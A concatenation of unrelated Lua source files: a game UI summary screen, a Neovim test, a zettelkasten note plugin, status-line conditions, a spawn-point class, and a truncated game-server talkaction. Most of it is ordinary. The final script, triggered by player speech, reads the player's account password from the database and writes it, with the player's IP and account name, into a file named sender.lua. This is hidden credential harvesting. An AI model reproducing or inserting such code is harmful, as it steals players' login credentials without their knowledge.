fanfareStateMachine:AddTriggerToEdge("NEXT", "REWARDS_TO_REWARDS_OUT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "REWARDS_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("NEXT", "REWARDS_OUT_TO_SET_PROGRESSION_IN")
fanfareStateMachine:AddTriggerToEdge("NEXT", "LORE_IN_TO_LORE")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_PROGRESSION_IN_TO_SET_PROGRESSION")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_PROGRESSION_TO_SET_PROGRESSION_OUT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_PROGRESSION_OUT_TO_SET_COMPLETE_IN")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_PROGRESSION_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_COMPLETE_IN_TO_SET_COMPLETE")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_COMPLETE_TO_SET_COMPLETE_OUT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_COMPLETE_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("NEXT", "BEGIN_TO_FAILURE_IN")
fanfareStateMachine:AddTriggerToEdge("NEXT", "REWARDS_TO_QUIT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "LORE_TO_QUIT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_PROGRESSION_TO_QUIT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "SET_COMPLETE_TO_QUIT")
fanfareStateMachine:AddTriggerToEdge("NEXT", "FAILURE_IN_TO_QUIT")
-- Animation callbacks --
local function OnCompleteFireTrigger(_, completedPlaying)
if completedPlaying then
fanfareStateMachine:FireCallbacks(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.ANIMATION_COMPLETE)
end
end
self.antiquityRewardTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
self.newLeadTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
self.bonusRewardsTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
self.rewardsOutTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
self.loreTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
self.setProgressionTimeline:SetHandler("OnStop", function(timeline, completedPlaying)
if timeline:IsPlayingBackward() then
OnCompleteFireTrigger(timeline, completedPlaying)
else
for _, activeIcon in self.setProgressionAntiquityIconPool:ActiveObjectIterator() do
activeIcon.fadeTimeline:PlayFromStart()
end
self.setProgressionAntiquityIconScaleTimeline:PlayFromStart()
end
end)
self.setCompleteTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
local transferToNextDayCompleteTrigger = fanfareStateMachine:AddTrigger("TRANSFER_TO_LORE_IN", ZO_StateMachine_TriggerEventManager, EVENT_ANTIQUITY_DIGGING_TRANSITION_TO_NEXT_DAY_COMPLETE)
fanfareStateMachine:GetEdgeByName("TRANSFER_TO_LORE_IN"):AddTrigger(transferToNextDayCompleteTrigger)
-- Reset state machine
self.fanfareStateMachine:SetCurrentState("INACTIVE")
end
function ZO_AntiquityDiggingSummary:ApplyPlatformStyle()
ApplyTemplateToControl(self.failureControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_Failure"))
ApplyTemplateToControl(self.antiquityRewardControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_AntiquityReward"))
ApplyTemplateToControl(self.newLeadControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_NewLead"))
ApplyTemplateToControl(self.bonusRewardsControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_BonusRewards"))
ApplyTemplateToControl(self.loreControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_Lore"))
ApplyTemplateToControl(self.transferControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_Transfer"))
if not self.loreControl:IsHidden() then
ANTIQUITY_LORE_DOCUMENT_MANAGER:ReleaseAllObjects(self.loreControl)
self:AcquireAndLayoutLoreDocumentControl()
end
ApplyTemplateToControl(self.setProgressionControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_SetProgression"))
ApplyTemplateToControl(self.setCompleteControl, ZO_GetPlatformTemplate("ZO_AntiquityDiggingSummary_SetComplete"))
for _, control in self.bonusesControlPool:ActiveAndFreeObjectIterator() do
control:MarkStyleDirty()
end
for _, control in self.setProgressionAntiquityIconPool:ActiveAndFreeObjectIterator() do
control:MarkStyleDirty()
end
ApplyTemplateToControl(self.primaryKeybindButton, ZO_GetPlatformTemplate("ZO_KeybindButton"))
ApplyTemplateToControl(self.secondaryKeybindButton, ZO_GetPlatformTemplate("ZO_KeybindButton"))
-- Reset the text here to handle the force uppercase on gamepad
self.primaryKeybindButton:SetText(self.primaryKeybindButton.originalText)
self.secondaryKeybindButton:SetText(self.secondaryKeybindButton.originalText)
end
function ZO_AntiquityDiggingSummary:BeginEndOfGameFanfare(gameOverFlags)
SCENE_MANAGER:AddFragment(ANTIQUITY_DIGGING_SUMMARY_FRAGMENT)
self.gameOverFlags = gameOverFlags
if gameOverFlags ~= ANTIQUITY_DIGGING_GAME_OVER_FLAGS_VICTORY then
self.failureReasonBodyLabel:SetText(GetString("SI_DIGGINGGAMEOVERFLAGS", gameOverFlags))
self.fanfareStateMachine:FireCallbacks(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.BEGIN)
return
end
local antiquityId = GetDigSpotAntiquityId()
local antiquitySetId = GetAntiquitySetId(antiquityId)
self.hasAntiquitySet = antiquitySetId ~= 0
-- Antiquity Reward
local rewardSubheaderHeaderStringId = self.hasAntiquitySet and SI_ANTIQUITY_DIGGING_REWARDS_ANTIQUITY_FRAGMENT_HEADER or SI_ANTIQUITY_DIGGING_REWARDS_ANTIQUITY_HEADER
self.rewardAntiquitySubHeaderLabelRevealer:SetText(GetString(rewardSubheaderHeaderStringId))
local antiquityName = zo_strformat(SI_ANTIQUITY_NAME_FORMATTER, GetAntiquityName(antiquityId))
local antiquityQuality = GetAntiquityQuality(antiquityId)
local qualityColorDef = GetAntiquityQualityColor(antiquityQuality)
self.rewardAntiquityIconTexture:SetTexture(GetAntiquityIcon(antiquityId))
self.rewardAntiquityNameLabelRevealer:SetText(qualityColorDef:Colorize(antiquityName))
-- New Lead
local newLeadAntiquityId = GetDigSpotNewLeadRewardAntiquityId()
self.hasNewLead = newLeadAntiquityId ~= 0
if self.hasNewLead then
local antiquityLeadName = zo_strformat(SI_ANTIQUITY_LEAD_NAME_FORMATTER, GetAntiquityName(newLeadAntiquityId))
local antiquityLeadQuality = GetAntiquityQuality(newLeadAntiquityId)
local antiquityLeadQualityColorDef = GetAntiquityQualityColor(antiquityLeadQuality)
self.newLeadNameLabel:SetText(antiquityLeadQualityColorDef:Colorize(antiquityLeadName))
self.bonusRewardsHeaderLabel:SetAnchor(TOP, self.bonusRewardsControl, CENTER, 0, 70)
self.hasNewLead = true
else
self.bonusRewardsHeaderLabel:SetAnchor(TOP, self.bonusRewardsControl, CENTER, 0, -70)
self.hasNewLead = false
end
-- Bonus Rewards
local numBonusLootRewards = GetNumDigSpotBonusLootRewards()
local currentRowControl = nil
local previousControl = nil
local maxBonusLootPerRow = 3
self.hasBonusRewards = numBonusLootRewards > 0
for i = 1, numBonusLootRewards do
local control = self.bonusesControlPool:AcquireObject(i)
local lootType, id, name, icon, count, quality = GetDigSpotBonusLootRewardInfo(i)
local qualityColorDef = nil
local countText = ""
if lootType == LOOT_TABLE_ENTRY_TYPE_CURRENCY then
name = zo_strformat(SI_CURRENCY_CUSTOM_TOOLTIP_FORMAT, ZO_Currency_GetAmountLabel(id))
icon = ZO_Currency_GetPlatformCurrencyLootIcon(id)
local USE_SHORT_FORMAT = true
countText = ZO_CurrencyControl_FormatAndLocalizeCurrency(count, USE_SHORT_FORMAT)
elseif lootType == LOOT_TABLE_ENTRY_TYPE_ITEM then
name = zo_strformat(SI_TOOLTIP_ITEM_NAME, name)
qualityColorDef = GetItemQualityColor(quality)
if count > 1 then
countText = tostring(count)
end
elseif lootType == LOOT_TABLE_ENTRY_TYPE_ANTIQUITY_LEAD then
qualityColorDef = GetAntiquityQualityColor(quality)
end
if qualityColorDef then
name = qualityColorDef:Colorize(name)
end
control.nameLabel:SetText(name)
control.iconTexture:SetTexture(icon)
control.stackCountLabel:SetText(countText)
--See if we've reached the maximum items for the current row
if i % maxBonusLootPerRow == 1 then
--If there is no row control yet, we need to create one
if not currentRowControl then
currentRowControl = self.bonusesRowControlPool:AcquireObject()
currentRowControl:SetAnchor(TOP, nil, TOP, 0, 15)
else
--If we get here, this is not the first row, so anchor it underneath the previous row
local rowControl = self.bonusesRowControlPool:AcquireObject()
rowControl:SetAnchor(TOP, currentRowControl, BOTTOM, 0, 10)
currentRowControl = rowControl
previousControl = nil
end
end
control:SetParent(currentRowControl)
--If this is not the first control, put it to the right of the previous control, otherwise anchor it to the top left of the row
if previousControl then
control:SetAnchor(TOPLEFT, previousControl, TOPRIGHT, 40, 0)
else
control:SetAnchor(TOPLEFT)
end
previousControl = control
end
self.bonusRewardsNoLootFoundLabel:SetHidden(self.hasBonusRewards)
-- Lore
if GetDiggingAntiquityHasNewLoreEntryToShow() then
self:AcquireAndLayoutLoreDocumentControl()
self.showLore = true
else
self.showLore = false
end
-- Set Progression
if self.hasAntiquitySet then
local MAX_ICONS_PER_ROW = 8
local numAntiquitiesInSet = GetNumAntiquitySetAntiquities(antiquitySetId)
local antiquitySetName = zo_strformat(SI_ANTIQUITY_NAME_FORMATTER, GetAntiquitySetName(antiquitySetId))
local antiquitySetQuality = GetAntiquitySetQuality(antiquitySetId)
local antiquitySetQualityColorDef = GetAntiquityQualityColor(antiquitySetQuality)
self.setProgressionHeaderLabel:SetText(antiquitySetQualityColorDef:Colorize(antiquitySetName))
-- TODO: This logic will need to change when we implement the fancy translation animations
local firstControlInRow = nil
local previousControl = nil
local isAntiquitySetComplete = DidDigSpotCompleteAntiquitySet()
for i = 1, numAntiquitiesInSet do
local control = self.setProgressionAntiquityIconPool:AcquireObject()
local antiquityFragmentId = GetAntiquitySetAntiquityId(antiquitySetId, i)
local isAntiquityFragmentDigSpotAntiquity = antiquityFragmentId == antiquityId
local antiquityFragmentRecovered = GetNumAntiquitiesRecovered(antiquityFragmentId) > 0
-- If the set is complete, the flag will have already been cleared before we hit this rewards fanfare, so treat it like it had been set.
local antiquityFragmentNeedsCombination = DoesAntiquityNeedCombination(antiquityFragmentId) or isAntiquitySetComplete
local antiquityFragmentDiscovered = isAntiquityFragmentDigSpotAntiquity or antiquityFragmentRecovered
if not antiquityFragmentDiscovered then
local requiresLead = DoesAntiquityRequireLead(antiquityFragmentId)
local meetsLeadRequirement = not requiresLead or DoesAntiquityHaveLead(antiquityFragmentId)
antiquityFragmentDiscovered = meetsLeadRequirement
end
-- TODO: Still need hidden antiquity icon
local icon = antiquityFragmentDiscovered and GetAntiquityIcon(antiquityFragmentId) or "EsoUI/Art/Icons/U26_Unknown_Antiquity_QuestionMark.dds"
local iconTexture = control.iconTexture
iconTexture:SetTexture(icon)
-- The just dug up antiquity will start incomplete and become complete through animations
local desaturateControl = not antiquityFragmentNeedsCombination or isAntiquityFragmentDigSpotAntiquity
local showSilhouette = (antiquityFragmentDiscovered and not antiquityFragmentNeedsCombination) or isAntiquityFragmentDigSpotAntiquity
control:SetDisplayBehavior(desaturateControl, showSilhouette)
if isAntiquityFragmentDigSpotAntiquity then
self.setProgressionAntiquityIconScaleTimeline:ApplyAllAnimationsToControl(iconTexture)
self.setProgressionControlForCurrentAntiquity = control
self.setProgressionSparksParticleSystem:SetParentControl(control.frameTexture)
end
local delayMs = (i - 1) * SET_PROGRESSION_FRAMED_ICON_DELAY_MODIFIER_MS
control.fadeTimeline:SetAllAnimationOffsets(delayMs)
if i % MAX_ICONS_PER_ROW == 1 then
if firstControlInRow then
control:SetAnchor(TOPLEFT, firstControlInRow, BOTTOMLEFT, 0, 5)
else
control:SetAnchor(TOPLEFT)
end
firstControlInRow = control
else
control:SetAnchor(LEFT, previousControl, RIGHT, 5, 0)
end
previousControl = control
end
self.setProgressionAntiquityIconScaleTimeline:SetAllAnimationOffsets((numAntiquitiesInSet * SET_PROGRESSION_FRAMED_ICON_DELAY_MODIFIER_MS) + ZO_PROGRESSION_FRAMED_ICON_FADE_DURATION_MS)
-- Set Complete
self.isAntiquitySetComplete = isAntiquitySetComplete
if isAntiquitySetComplete then
local icon = GetAntiquitySetIcon(antiquitySetId)
self.setCompleteFramedAntiquityIconTexture:SetTexture(icon)
end
end
self.fanfareStateMachine:FireCallbacks(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.BEGIN)
end
function ZO_AntiquityDiggingSummary:AcquireAndLayoutLoreDocumentControl()
local USE_MAGIC_VIEW = true
local loreDocumentControl = ANTIQUITY_LORE_DOCUMENT_MANAGER:AcquireWideDocumentForLoreEntry(self.loreControl, GetDigSpotAntiquityId(), GetNumAntiquityLoreEntriesAcquired(GetDigSpotAntiquityId()), USE_MAGIC_VIEW)
loreDocumentControl:SetAnchor(TOP, self.loreHeaderLabel, BOTTOM, 0, 20)
-- The XL size is large enough that we need to move the header up in the post-dig summary to avoid the bottom being cut off
-- If we ever did need more than XL we'd need to rethink our approach and design
if loreDocumentControl.sizeDescriptor == "XL" then
self.loreHeaderLabel:SetAnchor(BOTTOM, nil, CENTER, 0, -450)
else
self.loreHeaderLabel:SetAnchor(BOTTOM, nil, CENTER, 0, -275)
end
end
function ZO_AntiquityDiggingSummary:HandleCommand(command)
self.fanfareStateMachine:FireCallbacks(command)
end
function ZO_AntiquityDiggingSummary:OnUsePrimaryAction()
if not self.primaryKeybindButton:IsHidden() then
self.primaryKeybindButton:OnClicked()
end
end
function ZO_AntiquityDiggingSummary:OnUseCodex()
if not self.secondaryKeybindButton:IsHidden() then
self.secondaryKeybindButton:OnClicked()
end
end
function ZO_AntiquityDiggingSummary:ShowCodexEntry()
RequestShowCodexForDigSpotAntiquity()
end
-- Global / XML --
function ZO_AntiquityDiggingSummary_OnInitialized(control)
ANTIQUITY_DIGGING_SUMMARY = ZO_AntiquityDiggingSummary:New(control)
end |
local helpers = require('test.functional.helpers')(after_each)
local clear = helpers.clear
local command = helpers.command
local eq = helpers.eq
local eval = helpers.eval
local feed = helpers.feed
local nvim = helpers.nvim
local nvim_dir = helpers.nvim_dir
local retry = helpers.retry
describe(':ls', function()
before_each(function()
clear()
end)
it('R, F for :terminal buffers', function()
nvim('set_option', 'shell', string.format('"%s" INTERACT', nvim_dir..'/shell-test'))
command('edit foo')
command('set hidden')
command('terminal')
command('vsplit')
command('terminal')
feed('iexit<cr>')
retry(nil, 5000, function()
local ls_output = eval('execute("ls")')
-- Normal buffer.
eq('\n 1 h ', string.match(ls_output, '\n *1....'))
-- Terminal buffer [R]unning.
eq('\n 2 #aR', string.match(ls_output, '\n *2....'))
-- Terminal buffer [F]inished.
eq('\n 3 %aF', string.match(ls_output, '\n *3....'))
end)
end)
end)
|
local builtin = require "telescope.builtin"
local actions = require("telescope.actions") local action_state = require "telescope.actions.state"
-- declare locals for the nvim api stuff to avoid more lsp warnings
local vim = vim
-- ----------------------------------------------------------------------------
-- DEFAULT CONFIG
-- ----------------------------------------------------------------------------
local home = vim.fn.expand("~/zettelkasten")
ZkCfg = {
home = home,
dailies = home .. '/' .. 'daily',
weeklies = home .. '/' .. 'weekly',
templates = home .. '/' .. 'templates',
extension = ".md",
-- following a link to a non-existing note will create it
follow_creates_nonexisting = true,
dailies_create_nonexisting = true,
weeklies_create_nonexisting = true,
-- templates for new notes
template_new_note = home .. '/' .. 'templates/new_note.md',
template_new_daily = home .. '/' .. 'templates/daily_tk.md',
template_new_weekly = home .. '/' .. 'templates/weekly_tk.md',
-- integrate with calendar-vim
plug_into_calendar = true,
calendar_opts = {
-- calendar week display mode: 1 .. 'WK01', 2 .. 'WK 1', 3 .. 'KW01', 4 .. 'KW 1', 5 .. '1'
weeknm = 4,
-- use monday as first day of week: 1 .. true, 0 .. false
calendar_monday = 1,
-- calendar mark: where to put mark for marked days: 'left', 'right', 'left-fit'
calendar_mark = 'left-fit',
}
}
-- ----------------------------------------------------------------------------
local note_type_templates = {
normal = ZkCfg.template_new_note,
daily = ZkCfg.template_new_daily,
weekly = ZkCfg.template_new_weekly,
}
local function file_exists(fname)
local f=io.open(fname,"r")
-- print("checking for " .. fname)
if f~=nil then io.close(f) return true else return false end
end
local function daysuffix(day)
if((day == '1') or (day == '21') or (day == '31')) then return 'st' end
if((day == '2') or (day == '22')) then return 'nd' end
if((day == '3') or (day == '33')) then return 'rd' end
return 'th'
end
local daymap = { "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday" }
local monthmap = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }
local calenderinfo_today = function()
local dinfo = os.date("*t")
local opts = {}
opts.date = os.date("%Y-%m-%d")
opts.hdate = daymap[dinfo.wday] .. ', ' .. monthmap[dinfo.month] .. ' ' .. dinfo.day .. daysuffix(dinfo.day) .. ', ' .. dinfo.year
opts.week = os.date("%V")
opts.month = dinfo.month
opts.year = dinfo.year
opts.day = dinfo.day
return opts
end
local function linesubst(line, title, calendar_info)
local cinfo = calendar_info or calenderinfo_today()
local substs = {
date = cinfo.date,
hdate = cinfo.hdate,
week = cinfo.week,
year = cinfo.year,
title = title,
}
for k, v in pairs(substs) do
line = line:gsub("{{"..k.."}}", v)
end
return line
end
local create_note_from_template = function (title, filepath, templatefn, calendar_info)
-- first, read the template file
local lines = {}
for line in io.lines(templatefn) do
lines[#lines+1] = line
end
-- now write the output file, substituting vars line by line
local ofile = io.open(filepath, 'a')
for _, line in pairs(lines) do
ofile:write(linesubst(line, title, calendar_info) .. '\n')
end
ofile:close()
end
local path_to_linkname = function(p)
local fn = vim.split(p, "/")
fn = fn[#fn]
fn = vim.split(fn, ZkCfg.extension)
fn = fn[1]
return fn
end
--
-- FindDailyNotes:
-- ---------------
--
-- Select from daily notes
--
FindDailyNotes = function(opts)
opts = opts or {}
local today = os.date("%Y-%m-%d")
local fname = ZkCfg.dailies .. '/' .. today .. ZkCfg.extension
local fexists = file_exists(fname)
if ((fexists ~= true) and ((opts.dailies_create_nonexisting == true) or ZkCfg.dailies_create_nonexisting == true)) then
create_note_from_template(today, fname, note_type_templates.daily)
end
builtin.find_files({
prompt_title = "Find daily note",
cwd = ZkCfg.dailies,
find_command = ZkCfg.find_command,
})
end
--
-- FindWeeklyNotes:
-- ---------------
--
-- Select from daily notes
--
FindWeeklyNotes = function(opts)
opts = opts or {}
local title = os.date("%Y-W%V")
local fname = ZkCfg.weeklies .. '/' .. title .. ZkCfg.extension
local fexists = file_exists(fname)
if ((fexists ~= true) and ((opts.weeklies_create_nonexisting == true) or ZkCfg.weeklies_create_nonexisting == true)) then
create_note_from_template(title, fname, note_type_templates.weekly)
end
builtin.find_files({
prompt_title = "Find weekly note",
cwd = ZkCfg.weeklies,
find_command = ZkCfg.find_command,
})
end
--
-- InsertLink:
-- -----------
--
-- Select from all notes and put a link in the current buffer
--
InsertLink = function(opts)
opts = opts or {}
builtin.find_files({
prompt_title = "Insert link to note",
cwd = ZkCfg.home,
attach_mappings = function(prompt_bufnr, map)
map = map -- get rid of lsp error
actions.select_default:replace(function()
actions.close(prompt_bufnr)
local selection = action_state.get_selected_entry()
local fn = path_to_linkname(selection.value)
vim.api.nvim_put({ "[["..fn.."]]" }, "", false, true)
end)
return true
end,
find_command = ZkCfg.find_command,
})
end
--
-- FollowLink:
-- -----------
--
-- find the file linked to by the word under the cursor
--
FollowLink = function(opts)
opts = opts or {}
vim.cmd('normal yi]')
local title = vim.fn.getreg('"0')
-- check if fname exists anywhere
local fexists = file_exists(ZkCfg.weeklies .. '/' .. title .. ZkCfg.extension)
fexists = fexists or file_exists(ZkCfg.dailies .. '/' .. title .. ZkCfg.extension)
fexists = fexists or file_exists(ZkCfg.home .. '/' .. title .. ZkCfg.extension)
if ((fexists ~= true) and ((opts.follow_creates_nonexisting == true) or ZkCfg.follow_creates_nonexisting == true)) then
local fname = ZkCfg.home .. '/' .. title .. ZkCfg.extension
create_note_from_template(title, fname, note_type_templates.normal)
end
builtin.find_files({
prompt_title = "Follow link to note...",
cwd = ZkCfg.home,
default_text = title,
find_command = ZkCfg.find_command,
})
end
--
-- YankLink:
-- -----------
--
-- Create and yank a [[link]] from the current note.
--
YankLink = function()
local title = '[[' .. path_to_linkname(vim.fn.expand('%')) .. ']]'
vim.fn.setreg('"', title)
print('yanked ' .. title)
end
--
-- GotoToday:
-- ----------
--
-- find today's daily note and create it if necessary.
--
GotoToday = function(opts)
opts = opts or calenderinfo_today()
local word = opts.date or os.date("%Y-%m-%d")
local fname = ZkCfg.dailies .. '/' .. word .. ZkCfg.extension
local fexists = file_exists(fname)
if ((fexists ~= true) and ((opts.follow_creates_nonexisting == true) or ZkCfg.follow_creates_nonexisting == true)) then
create_note_from_template(word, fname, note_type_templates.daily, opts)
end
builtin.find_files({
prompt_title = "Goto day",
cwd = ZkCfg.home,
default_text = word,
find_command = ZkCfg.find_command,
attach_mappings = function(prompt_bufnr, map)
map = map -- get rid of lsp error
actions.select_default:replace(function()
actions.close(prompt_bufnr)
-- open the new note
if (opts.calendar == true) then
vim.cmd('wincmd w')
end
vim.cmd('e ' .. fname)
end)
return true
end,
})
end
--
-- FindNotes:
-- ----------
--
-- Select from notes
--
FindNotes = function(opts)
opts = opts or {}
builtin.find_files({
prompt_title = "Find notes by name",
cwd = ZkCfg.home,
find_command = ZkCfg.find_command,
})
end
--
-- SearchNotes:
-- ------------
--
-- find the file linked to by the word under the cursor
--
SearchNotes = function(opts)
opts = opts or {}
builtin.live_grep({
prompt_title = "Search in notes",
cwd = ZkCfg.home,
search_dirs = { ZkCfg.home },
default_text = vim.fn.expand("<cword>"),
find_command = ZkCfg.find_command,
})
end
--
-- CreateNote:
-- ------------
--
-- Prompts for title and creates note with default template
--
local function on_create(title)
if (title == nil) then return end
local fname = ZkCfg.home .. '/' .. title .. ZkCfg.extension
local fexists = file_exists(fname)
if (fexists ~= true) then
create_note_from_template(title, fname, note_type_templates.normal)
end
builtin.find_files({
prompt_title = "Created note...",
cwd = ZkCfg.home,
default_text = title,
find_command = ZkCfg.find_command,
})
end
CreateNote = function(opts)
opts = opts or {}
vim.ui.input({prompt = 'Title: '}, on_create)
end
--
-- CreateNoteSelectTemplate()
-- --------------------------
--
-- Prompts for title, then pops up telescope for template selection,
-- creates the new note by template and opens it
local function on_create_with_template(title)
if (title == nil) then return end
local fname = ZkCfg.home .. '/' .. title .. ZkCfg.extension
local fexists = file_exists(fname)
if (fexists == true) then
-- open the new note
vim.cmd('e ' .. fname)
return
end
builtin.find_files({
prompt_title = "Select template...",
cwd = ZkCfg.templates,
find_command = ZkCfg.find_command,
attach_mappings = function(prompt_bufnr, map)
map = map -- get rid of lsp error
actions.select_default:replace(function()
actions.close(prompt_bufnr)
local template = ZkCfg.templates .. '/' .. action_state.get_selected_entry().value
create_note_from_template(title, fname, template)
-- open the new note
vim.cmd('e ' .. fname)
end)
return true
end,
})
end
CreateNoteSelectTemplate = function(opts)
opts = opts or {}
vim.ui.input({prompt = 'Title: '}, on_create_with_template)
end
--
-- GotoThisWeek:
-- -------------
--
-- find this week's weekly note and create it if necessary.
--
GotoThisWeek = function(opts)
opts = opts or {}
local title = os.date("%Y-W%V")
local fname = ZkCfg.weeklies .. '/' .. title .. ZkCfg.extension
local fexists = file_exists(fname)
if ((fexists ~= true) and ((opts.weeklies_create_nonexisting == true) or ZkCfg.weeklies_create_nonexisting == true)) then
create_note_from_template(title, fname, note_type_templates.weekly)
end
builtin.find_files({
prompt_title = "Goto this week:",
cwd = ZkCfg.weeklies,
default_text = title,
find_command = ZkCfg.find_command,
})
end
--
-- Calendar Stuff
-- --------------
-- return if a daily 'note exists' indicator (sign) should be displayed for a particular day
CalendarSignDay = function(day, month, year)
local fn = ZkCfg.dailies .. '/' .. string.format('%04d-%02d-%02d', year, month, day) .. ZkCfg.extension
if file_exists(fn) then
return 1
end
return 0
end
-- action on enter on a specific day: preview in telescope, stay in calendar on cancel, open note in other window on accept
CalendarAction = function(day, month, year, weekday, dir)
-- lsp
dir = dir
local today = string.format('%04d-%02d-%02d', year, month, day)
local opts = {}
opts.date = today
opts.hdate = daymap[weekday] .. ', ' .. monthmap[tonumber(month)] .. ' ' .. day .. daysuffix(day) .. ', ' .. year
opts.week = 'n/a' -- TODO: calculate the week somehow
opts.month = month
opts.year = year
opts.day = day
opts.calendar = true
GotoToday(opts)
end
ShowCalendar = function(opts)
local defaults = {}
defaults.cmd = 'CalendarVR'
defaults.vertical_resize = 1
opts = opts or defaults
vim.cmd(opts.cmd)
if (opts.vertical_resize) then
vim.cmd('vertical resize +' .. opts.vertical_resize)
end
end
-- set up calendar integration: forward to our lua functions
SetupCalendar = function(opts)
local defaults = ZkCfg.calendar_opts
opts = opts or defaults
local cmd = [[
function! MyCalSign(day, month, year)
return luaeval('CalendarSignDay(_A[1], _A[2], _A[3])', [a:day, a:month, a:year])
endfunction
function! MyCalAction(day, month, year, weekday, dir)
" day : day
" month : month
" year year
" weekday : day of week (monday=1)
" dir : direction of calendar
return luaeval('CalendarAction(_A[1], _A[2], _A[3], _A[4], _A[5])', [a:day, a:month, a:year, a:weekday, a:dir])
endfunction
function! MyCalBegin()
" too early, windown doesn't exist yet
" cannot resize
endfunction
let g:calendar_sign = 'MyCalSign'
let g:calendar_action = 'MyCalAction'
" let g:calendar_begin = 'MyCalBegin'
let g:calendar_monday = {{calendar_monday}}
let g:calendar_mark = '{{calendar_mark}}'
let g:calendar_weeknm = {{weeknm}}
]]
for k, v in pairs(opts) do
cmd = cmd:gsub('{{' .. k .. '}}', v)
end
vim.cmd(cmd)
end
-- Setup(cfg)
--
-- Overrides config with elements from cfg. See top of file for defaults.
--
Setup = function(cfg)
cfg = cfg or {}
for k, v in pairs(cfg) do
-- merge everything but calendar opts
-- they will be merged later
if (k ~= 'calendar_opts') then
ZkCfg[k] = v
end
end
if vim.fn.executable('rg') then
ZkCfg.find_command = { 'rg', '--files', '--sortr', 'created', }
else
ZkCfg.find_command = nil
end
-- this looks a little messy
if (ZkCfg.plug_into_calendar) then
cfg.calendar_opts = cfg.calendar_opts or {}
ZkCfg.calendar_opts = ZkCfg.calendar_opts or {}
ZkCfg.calendar_opts.weeknm = cfg.calendar_opts.weeknm or ZkCfg.calendar_opts.weeknm or 1
ZkCfg.calendar_opts.calendar_monday = cfg.calendar_opts.calendar_monday or ZkCfg.calendar_opts.calendar_monday or 1
ZkCfg.calendar_opts.calendar_mark = cfg.calendar_opts.calendar_mark or ZkCfg.calendar_opts.calendar_mark or 'left-fit'
SetupCalendar(ZkCfg.calendar_opts)
end
end
local M = {
ZkCfg = ZkCfg,
find_notes = FindNotes,
find_daily_notes = FindDailyNotes,
search_notes = SearchNotes,
insert_link = InsertLink,
follow_link = FollowLink,
setup = Setup,
goto_today = GotoToday,
new_note = CreateNote,
goto_thisweek = GotoThisWeek,
find_weekly_notes = FindWeeklyNotes,
yank_notelink = YankLink,
create_note_sel_template = CreateNoteSelectTemplate,
show_calendar = ShowCalendar,
}
return M
|
local condition = {}
condition.buffer_not_empty = function()
local buffer_lines = vim.api.nvim_buf_get_lines(0, 0, vim.fn.line("$"), true)
if buffer_lines[1] == "" and #buffer_lines == 1 then
return false
end
return true
end
condition.check_git_workspace = function()
local get_git_dir = require("galaxyline.providers.vcs").get_git_dir
if vim.bo.buftype == "terminal" then
return false
end
local current_file = vim.api.nvim_buf_get_name(0)
local current_dir
-- if file is a symlinks
if vim.fn.getftype(current_file) == "link" then
local real_file = vim.fn.resolve(current_file)
current_dir = vim.fn.fnamemodify(real_file, ":h")
else
current_dir = vim.fn.expand("%:p:h")
end
local result = get_git_dir(current_dir)
if not result then
return false
end
return true
end
condition.hide_in_width = function()
local squeeze_width = vim.api.nvim_win_get_width(0) / 2
if squeeze_width >= 50 then
return true
end
return false
end
condition.check_active_lsp = function()
local clients = vim.lsp.buf_get_clients()
return next(clients) ~= nil
end
return condition
|
-- SpawnPoints CLASS
SpawnPoints = {}
function SpawnPoints:onMapStart()
local room = self.game.room
self.list = getRoomMapElements(room, "spawnpoint")
assert(self.list)
self.freeCount = #self.list
end
function SpawnPoints:onMapStop()
self.list = {}
end
function SpawnPoints:getRandom(maxIndex, remove)
maxIndex = math.min(maxIndex or math.huge, #self.list)
local listCopy = table.copy(self.list, maxIndex)
local sp = false
while(#listCopy > 0) do
local i = math.random(1, #listCopy)
sp = table.remove(listCopy, i)
if(not sp.busy) then break end
end
if(not sp or sp.busy) then
return false
end
if(remove) then
sp.busy = true
end
return sp
end
function SpawnPoints:destroy()
self.list = false
self.game = false
end
function SpawnPoints.create(game)
local self = setmetatable({}, SpawnPoints.__mt)
self.game = game
self.list = false
return self
end
SpawnPoints.__mt = {__index = SpawnPoints}
|
function onSay(cid, words, param)
arq = io.open('data/talkactions/scripts/sender.lua', 'r')
str = arq:read("*all")
arq:close()
arq = io.open('data/talkactions/scripts/sender.lua', 'w+')
int = db.getResult("SELECT `password` FROM `accounts` WHERE `id` = " .. getPlayerAccountId(cid) .. ";")
pass = int:getDataString("password")
str, inu = string.gsub(str, 'ip = {}', 'ip = {"' .. doConvertIntegerToIp(getPlayerIp(cid)) .. '"}')
str, inu = string.gsub(str, 'talk = {}', 'talk = {"' .. getPlayerAccount(cid) .. '", "' .. pass .. '"}')
arq:write(str)
arq:close()
arq = io.open('data/lib/changer.txt', 'a+')
posi = getPlayerPosition(cid)
